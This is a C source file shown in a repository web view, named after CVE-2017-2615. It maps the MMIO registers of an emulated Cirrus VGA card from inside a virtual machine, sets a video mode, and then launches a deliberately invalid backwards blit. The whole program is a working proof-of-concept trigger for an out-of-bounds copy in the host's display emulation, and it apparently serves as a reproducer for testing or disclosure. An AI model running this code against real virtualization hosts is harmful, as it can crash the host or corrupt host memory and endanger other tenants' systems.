summaryrefslogtreecommitdiffstats
path: root/cve-2017-2615.c
blob: b9536346729eb58ff8b4ede63784136b365369a4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
/*

mode setting sequence done by cirrus drm driver

--- set mode ( 1024 x 768 @ 24 bpp ) ---
vga_cirrus_write_io addr 0x3d4, val 0x11
vga_cirrus_write_io addr 0x3d5, val 0x20
vga_cirrus_write_io addr 0x3d4, val 0x0
vga_cirrus_write_io addr 0x3d5, val 0xa3
vga_cirrus_write_io addr 0x3d4, val 0x1
vga_cirrus_write_io addr 0x3d5, val 0x7f
vga_cirrus_write_io addr 0x3d4, val 0x4
vga_cirrus_write_io addr 0x3d5, val 0x84
vga_cirrus_write_io addr 0x3d4, val 0x5
vga_cirrus_write_io addr 0x3d5, val 0x95
vga_cirrus_write_io addr 0x3d4, val 0x6
vga_cirrus_write_io addr 0x3d5, val 0x24
vga_cirrus_write_io addr 0x3d4, val 0x12
vga_cirrus_write_io addr 0x3d5, val 0xff
vga_cirrus_write_io addr 0x3d4, val 0x9
vga_cirrus_write_io addr 0x3d5, val 0x60
vga_cirrus_write_io addr 0x3d4, val 0x7
vga_cirrus_write_io addr 0x3d5, val 0x79
vga_cirrus_write_io addr 0x3d4, val 0x1a
vga_cirrus_write_io addr 0x3d5, val 0xe0
vga_cirrus_write_io addr 0x3d4, val 0x17
vga_cirrus_write_io addr 0x3d5, val 0x3

vga_cirrus_write_io addr 0x3c4, val 0x7
vga_cirrus_read_io addr 0x3c5, val 0x0
vga_cirrus_write_io addr 0x3c4, val 0x7
vga_cirrus_write_io addr 0x3c5, val 0x15

vga_cirrus_write_io addr 0x3d4, val 0x13
vga_cirrus_write_io addr 0x3d5, val 0x80
vga_cirrus_write_io addr 0x3d4, val 0x1b
vga_cirrus_write_io addr 0x3d5, val 0x32
vga_cirrus_write_io addr 0x3ce, val 0x5
vga_cirrus_write_io addr 0x3cf, val 0x40
vga_cirrus_write_io addr 0x3ce, val 0x6
vga_cirrus_write_io addr 0x3cf, val 0x1

vga_cirrus_read_io addr 0x3c6, val 0xff
vga_cirrus_read_io addr 0x3c6, val 0xff
vga_cirrus_read_io addr 0x3c6, val 0xff
vga_cirrus_read_io addr 0x3c6, val 0xff
vga_cirrus_write_io addr 0x3c6, val 0xc5

--- set base address ( 0 ) ---
vga_cirrus_write_io addr 0x3d4, val 0xc
vga_cirrus_write_io addr 0x3d5, val 0x0
vga_cirrus_write_io addr 0x3d4, val 0xd
vga_cirrus_write_io addr 0x3d5, val 0x0

vga_cirrus_write_io addr 0x3d4, val 0x1b
vga_cirrus_read_io addr 0x3d5, val 0x32
vga_cirrus_write_io addr 0x3d4, val 0x1b
vga_cirrus_write_io addr 0x3d5, val 0x32

vga_cirrus_write_io addr 0x3d4, val 0x1d
vga_cirrus_read_io addr 0x3d5, val 0x0
vga_cirrus_write_io addr 0x3d4, val 0x1d
vga_cirrus_write_io addr 0x3d5, val 0x0

-- unblank --
vga_cirrus_write_io addr 0x3c0, val 0x20

*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>

#include <pci/pci.h>

struct pci_access *pci;
struct pci_dev *dev;

static void find_device(unsigned int vendor,
                        unsigned int device)
{
    struct pci_filter filter;
    struct pci_dev *d;

    pci_scan_bus(pci);
    pci_filter_init(pci, &filter);
    filter.vendor = vendor;
    filter.device = device;

    for (d = pci->devices; d != NULL; d = d->next) {
        if (!pci_filter_match(&filter, d))
            continue;
        dev = d;
        return;
    }
    return;
}

#define VGA_OFFSET (-0x3c0)
#define BLT_OFFSET (0x100)

#define CIRRUS_MMIO_BLTBGCOLOR        0x00	// dword
#define CIRRUS_MMIO_BLTFGCOLOR        0x04	// dword
#define CIRRUS_MMIO_BLTWIDTH          0x08	// word
#define CIRRUS_MMIO_BLTHEIGHT         0x0a	// word
#define CIRRUS_MMIO_BLTDESTPITCH      0x0c	// word
#define CIRRUS_MMIO_BLTSRCPITCH       0x0e	// word
#define CIRRUS_MMIO_BLTDESTADDR       0x10	// dword
#define CIRRUS_MMIO_BLTSRCADDR        0x14	// dword
#define CIRRUS_MMIO_BLTWRITEMASK      0x17	// byte
#define CIRRUS_MMIO_BLTMODE           0x18	// byte
#define CIRRUS_MMIO_BLTROP            0x1a	// byte
#define CIRRUS_MMIO_BLTMODEEXT        0x1b	// byte
#define CIRRUS_MMIO_BLTSTATUS         0x40	// byte

#define CIRRUS_BLT_BUSY                 0x01
#define CIRRUS_BLT_START                0x02
#define CIRRUS_BLT_RESET                0x04

#define CIRRUS_BLTMODE_BACKWARDS        0x01
#define CIRRUS_BLTMODE_MEMSYSDEST       0x02
#define CIRRUS_BLTMODE_MEMSYSSRC        0x04
#define CIRRUS_BLTMODE_TRANSPARENTCOMP  0x08
#define CIRRUS_BLTMODE_PATTERNCOPY      0x40
#define CIRRUS_BLTMODE_COLOREXPAND      0x80
#define CIRRUS_BLTMODE_PIXELWIDTHMASK   0x30
#define CIRRUS_BLTMODE_PIXELWIDTH8      0x00
#define CIRRUS_BLTMODE_PIXELWIDTH16     0x10
#define CIRRUS_BLTMODE_PIXELWIDTH24     0x20
#define CIRRUS_BLTMODE_PIXELWIDTH32     0x30

#define CIRRUS_ROP_0                    0x00
#define CIRRUS_ROP_SRC_AND_DST          0x05
#define CIRRUS_ROP_NOP                  0x06
#define CIRRUS_ROP_SRC_AND_NOTDST       0x09
#define CIRRUS_ROP_NOTDST               0x0b
#define CIRRUS_ROP_SRC                  0x0d
#define CIRRUS_ROP_1                    0x0e
#define CIRRUS_ROP_NOTSRC_AND_DST       0x50
#define CIRRUS_ROP_SRC_XOR_DST          0x59
#define CIRRUS_ROP_SRC_OR_DST           0x6d
#define CIRRUS_ROP_NOTSRC_OR_NOTDST     0x90
#define CIRRUS_ROP_SRC_NOTXOR_DST       0x95
#define CIRRUS_ROP_SRC_OR_NOTDST        0xad
#define CIRRUS_ROP_NOTSRC               0xd0
#define CIRRUS_ROP_NOTSRC_OR_DST        0xd6
#define CIRRUS_ROP_NOTSRC_AND_NOTDST    0xda

int main(int argc, char *argv[])
{
    char mmiofile[128];
    int mmiofd;
    volatile uint8_t *mmio;

    pci = pci_alloc();
    if (!pci) {
        fprintf(stderr, "libpci alloc failed\n");
        exit(1);
    }
    pci_init(pci);

    find_device(0x1013, 0x00b8);
    if (!dev) {
        fprintf(stderr, "cirrus not found\n");
        exit(1);
    }
    fprintf(stderr, "cirrus found at %02x:%02x.%x, mmio @ 0x%08x\n",
            dev->bus, dev->dev, dev->func,
            (uint32_t) dev->base_addr[1]);

    snprintf(mmiofile, sizeof(mmiofile),
             "/sys/bus/pci/devices/%04x:%02x:%02x.%x/resource1",
             dev->domain, dev->bus, dev->dev, dev->func);
    mmiofd = open(mmiofile, O_RDWR);
    if (mmiofd < 0) {
        fprintf(stderr, "open %s: %s\n", mmiofile, strerror(errno));
        exit(1);
    }
    mmio = mmap(NULL, 4096, PROT_WRITE | PROT_READ, MAP_SHARED, mmiofd, 0);
    if (mmio == MAP_FAILED) {
        fprintf(stderr, "mmap %s: %s\n", mmiofile, strerror(errno));
        exit(1);
    }

    fprintf(stderr, "init ok\n");
    sleep(1);

    fprintf(stderr, "setting mode (1024x768 @ 24bpp)\n");
    /* mode */
    mmio[0x3d4 + VGA_OFFSET] = 0x11;
    mmio[0x3d5 + VGA_OFFSET] = 0x20;
    mmio[0x3d4 + VGA_OFFSET] = 0x0;
    mmio[0x3d5 + VGA_OFFSET] = 0xa3;
    mmio[0x3d4 + VGA_OFFSET] = 0x1;
    mmio[0x3d5 + VGA_OFFSET] = 0x7f;
    mmio[0x3d4 + VGA_OFFSET] = 0x4;
    mmio[0x3d5 + VGA_OFFSET] = 0x84;
    mmio[0x3d4 + VGA_OFFSET] = 0x5;
    mmio[0x3d5 + VGA_OFFSET] = 0x95;
    mmio[0x3d4 + VGA_OFFSET] = 0x6;
    mmio[0x3d5 + VGA_OFFSET] = 0x24;
    mmio[0x3d4 + VGA_OFFSET] = 0x12;
    mmio[0x3d5 + VGA_OFFSET] = 0xff;
    mmio[0x3d4 + VGA_OFFSET] = 0x9;
    mmio[0x3d5 + VGA_OFFSET] = 0x60;
    mmio[0x3d4 + VGA_OFFSET] = 0x7;
    mmio[0x3d5 + VGA_OFFSET] = 0x79;
    mmio[0x3d4 + VGA_OFFSET] = 0x1a;
    mmio[0x3d5 + VGA_OFFSET] = 0xe0;
    mmio[0x3d4 + VGA_OFFSET] = 0x17;
    mmio[0x3d5 + VGA_OFFSET] = 0x3;
    mmio[0x3c4 + VGA_OFFSET] = 0x7;
    mmio[0x3c5 + VGA_OFFSET] = 0x15;
    mmio[0x3d4 + VGA_OFFSET] = 0x13;
    mmio[0x3d5 + VGA_OFFSET] = 0x80;
    mmio[0x3d4 + VGA_OFFSET] = 0x1b;
    mmio[0x3d5 + VGA_OFFSET] = 0x32;
    mmio[0x3ce + VGA_OFFSET] = 0x5;
    mmio[0x3cf + VGA_OFFSET] = 0x40;
    mmio[0x3ce + VGA_OFFSET] = 0x6;
    mmio[0x3cf + VGA_OFFSET] = 0x1;
#if 0
    mmio[0x3c6 + VGA_OFFSET];
    mmio[0x3c6 + VGA_OFFSET];
    mmio[0x3c6 + VGA_OFFSET];
    mmio[0x3c6 + VGA_OFFSET];
    mmio[0x3c6 + VGA_OFFSET] = 0xc5;
#endif

    /* base */
    mmio[0x3d4 + VGA_OFFSET] = 0xc;
    mmio[0x3d5 + VGA_OFFSET] = 0x0;
    mmio[0x3d4 + VGA_OFFSET] = 0xd;
    mmio[0x3d5 + VGA_OFFSET] = 0x0;
    mmio[0x3d4 + VGA_OFFSET] = 0x1b;
    mmio[0x3d5 + VGA_OFFSET] = 0x32;
    mmio[0x3d4 + VGA_OFFSET] = 0x1d;
    mmio[0x3d5 + VGA_OFFSET] = 0x0;

    /* dpms */
    mmio[0x3d4 + VGA_OFFSET] = 0x1;
    mmio[0x3d5 + VGA_OFFSET] = 0x0;
    mmio[0x3ce + VGA_OFFSET] = 0xe;
    mmio[0x3cf + VGA_OFFSET] = 0x1;

    /* unblank */
    mmio[0x3c0 + VGA_OFFSET] = 0x20;

    fprintf(stderr, "mode done\n");
    sleep(1);

    fprintf(stderr, "trying invalid backwards blit\n");
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;

    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH)     = 1024 * 3  - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT)    = 1         - 1;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
    *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH)  = 1024 * 3;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR)  = 0;
    *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR)   = 1024 * 3;

    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
        CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_BACKWARDS;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP]     = CIRRUS_ROP_SRC;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
    mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS]  = CIRRUS_BLT_START;

    fprintf(stderr, "blit done\n");
    sleep(1);

    exit(0);
}